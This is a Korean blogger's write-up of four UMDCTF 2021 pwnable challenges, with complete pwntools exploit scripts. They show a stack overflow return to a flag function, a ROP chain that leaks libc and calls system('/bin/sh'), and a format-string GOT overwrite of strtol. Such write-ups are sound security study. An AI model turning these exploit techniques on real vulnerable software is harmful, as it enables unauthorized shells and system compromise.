CTF/Write UPs

[UMDCTF 2021 : Pwnable] 내가 푼 문제들 풀이

jir4vvit 2021. 4. 17. 16:37
문제 풀이 환경 : ubuntu 18.04
사용 툴 : IDA 7.5 pro
대회 정보 :
ctftime.org/event/1288

 


Jump Not Easy

get_flag 함수 덕에 쉽게 풀 수 있었음

from pwn import *

#p = process('./JNE')
p = remote('chals5.umdctf.io', 7003)
e = ELF('./JNE')

payload = ''
payload += 'a'*(0x40+0x8)
payload += p64(e.symbols['get_flag'])

p.sendlineafter('\n', payload)


p.interactive()

Jump Is Easy

64bit ROP (shellcode)

ㅎ 사실 이거 Jump Not Working문제 바이너리 받고 풀고

실수로(?) remote를 Jump Is Easy 문제 포트로 적어서 운좋게 풀렸다 ㅎㅎ;

뭔가 두 문제,,, 서로 컴파일만 다르게 한 문제 같다.

from pwn import *

#p = process('./JNW')
p = remote('chals5.umdctf.io', 7001)
e = ELF('./JNW')
libc = e.libc

gets_got = e.got['gets']
puts_plt = e.symbols['puts']
main = 0x40120B
pop_rdi = 0x4012c3
ret = 0x40101a

payload = ''
payload += 'a' * (0x40+0x8)
payload += p64(pop_rdi)
payload += p64(gets_got)
payload += p64(puts_plt)
payload += p64(main) # retrun to main

p.sendlineafter('\n', payload)

# leak
gets_addr = u64(p.recvuntil('\x7f')[-6:].ljust(8, '\x00'))
print('gets_addr = '+hex(gets_addr))

gets_offset = libc.symbols['gets']
system_offset = libc.symbols['system']
binsh_offset = libc.search('/bin/sh').next()

libc_base = gets_addr - gets_offset
print('libc_base = '+hex(libc_base))

system_addr = libc_base + system_offset
binsh_addr = libc_base + binsh_offset

print('system_addr = '+hex(system_addr))
print('binsh_addr = '+hex(binsh_addr))

# second
payload = ''
payload += 'a' * (0x40+0x8)
payload += p64(pop_rdi)
payload += p64(binsh_addr)
payload += p64(ret)
payload += p64(system_addr)

p.sendlineafter('\n', payload)


p.interactive()

플래그를 보면 뭔가 쉘코드를 이용해서 풀어야 하나보다 ㅎㅎㅎㅎ;

Jump Not Working

64bit ROP

Jump Is Easy문제랑 익스코드 똑같다.ㅎㅎㅎ;

더보기
더보기
from pwn import *

#p = process('./JNW')
p = remote('chals5.umdctf.io', 7004)
e = ELF('./JNW')
libc = e.libc

gets_got = e.got['gets']
puts_plt = e.symbols['puts']
main = 0x40120B
pop_rdi = 0x4012c3
ret = 0x40101a

payload = ''
payload += 'a' * (0x40+0x8)
payload += p64(pop_rdi)
payload += p64(gets_got)
payload += p64(puts_plt)
payload += p64(main) # retrun to main

p.sendlineafter('\n', payload)

# leak
gets_addr = u64(p.recvuntil('\x7f')[-6:].ljust(8, '\x00'))
print('gets_addr = '+hex(gets_addr))

gets_offset = libc.symbols['gets']
system_offset = libc.symbols['system']
binsh_offset = libc.search('/bin/sh').next()

libc_base = gets_addr - gets_offset
print('libc_base = '+hex(libc_base))

system_addr = libc_base + system_offset
binsh_addr = libc_base + binsh_offset

print('system_addr = '+hex(system_addr))
print('binsh_addr = '+hex(binsh_addr))

# second
payload = ''
payload += 'a' * (0x40+0x8)
payload += p64(pop_rdi)
payload += p64(binsh_addr)
payload += p64(ret)
payload += p64(system_addr)

p.sendlineafter('\n', payload)


p.interactive()

Jump Is Found

64bit, FSB

heap 문제인 줄 알고 쫄아서 run치려고 했던 문제.

Summary

  1. libc leak
  2. strtol_got를 system로 overwriting
  3. '/bin/sh\x00'

처음에 malloc이랑 gets만 보고 뭐야.. 힙문제인가..? 싶어서 run치려고 했었다. (heap 진짜 아무고토 모름)

 

그런데 자세히 보다보니 아래쪽에 저렇게 printf(&dest)를 보고 fsb를 떠올려냈다.

 

 

아래는 그냥 libc 주소 offset? 구하는거랑 leak하는거 디버깅 사진..

더보기
더보기

( libc 주소 - AAAAAAA 주소 )/8 + 16

+ 16을 해준 이유는 .. AAAAAAAA의 offset이 16이라서!

아 참고로 저 주소를 가져올때는 아래와 같이 가져와야 한다.

libc_addr = int(p.recv(14), 16)

입력받는 부분이 while문으로 되어 있어서 exit 메뉴를 안고르면 계속 입력할 수 있다. 그래서 return to main을 안해줘도 계속 입력을 받아서 편리했다.

 

strtol의 got를 system으로 덮고, gets함수를 통해 '/bin/sh\x00' 을 전송했다. 

 

근데 자꾸 에러가 났다.

64bit에서의 fsb를 이해를 제대로 안하고 아무 함수나 가져와서 그런 듯 하다.

결론적으로 문제는 저기 체크한 부분 때문인데, 

strncpy는 문자열을 복사하는 함수이다.

문자열은 NULL을 만나기 전까지 인식(?)하는데 fsb64함수를 이용하여 작성한 페이로드 코드에 자꾸 NULL이 들어가서 함수가 제대로 덮히지 않았었다.

2바이트를 덮을 땐 끊기지 않지만 더 많이 덮기 시작하면 주소를 써야하니까 NULL이 생긴다.

 

그래서 아래 블로그에서 fsb64함수 코드 가져와서 하위 2바이트만 덮게 했다.

blog.naver.com/yjw_sz/221891673212

from pwn import *

#p = process('./JIF')
p = remote('chals5.umdctf.io', 7002)
e = ELF('./JIF')
libc = e.libc


def fsb64(offset, addr, value, b=3):
    payload = ''
    prev = 0
    
    if value == 0:
        payload += '%{}$ln'.format(offset + 1)
        payload += 'A' * ((8 - len(payload) % 8) % 8)
        payload += p64(addr)
        return payload

    for i in range(b):
        target = (value >> (i * 16)) & 0xffff
                                                                        
        if prev < target:
            payload += '%{}c'.format(target - prev)
        elif prev > target:
            payload += '%{}c'.format(0x10000 + target - prev)

        payload += '%xx$hn'
        prev = target

    payload += 'A' * ((8 - len(payload) % 8) % 8)

    for i in range(b):
        idx = payload.find("%xx$hn")
        off = offset + (len(payload) / 8) + i
        payload = payload[:idx] + '%{}$hn'.format(off) + payload[idx+6:]
        
    payload += 'A' * ((8 - len(payload) % 8) % 8)

    for i in range(b):
        payload += p64(addr + i * 2)
        
    return payload
    


payload = ''
payload += 'a' * 272
payload += '%51$p' # leak

#pause()
p.sendlineafter('> ', payload)

p.recvuntil(': ')
libc_addr = int(p.recv(14), 16)
print('libc_addr = '+hex(libc_addr))

libc_base = libc_addr - libc.symbols['__libc_start_main'] - 231
print('libc_base = '+hex(libc_base))
system = libc_base + libc.symbols['system']


strtol_got = e.got['strtol']
# offset 16
payload = ''
payload += 'a' * 272
payload += fsb64(16, e.got['strtol'], system, 1)

p.sendlineafter('> ', payload)

pause()
p.sendlineafter('> ', '/bin/sh\x00')


p.interactive()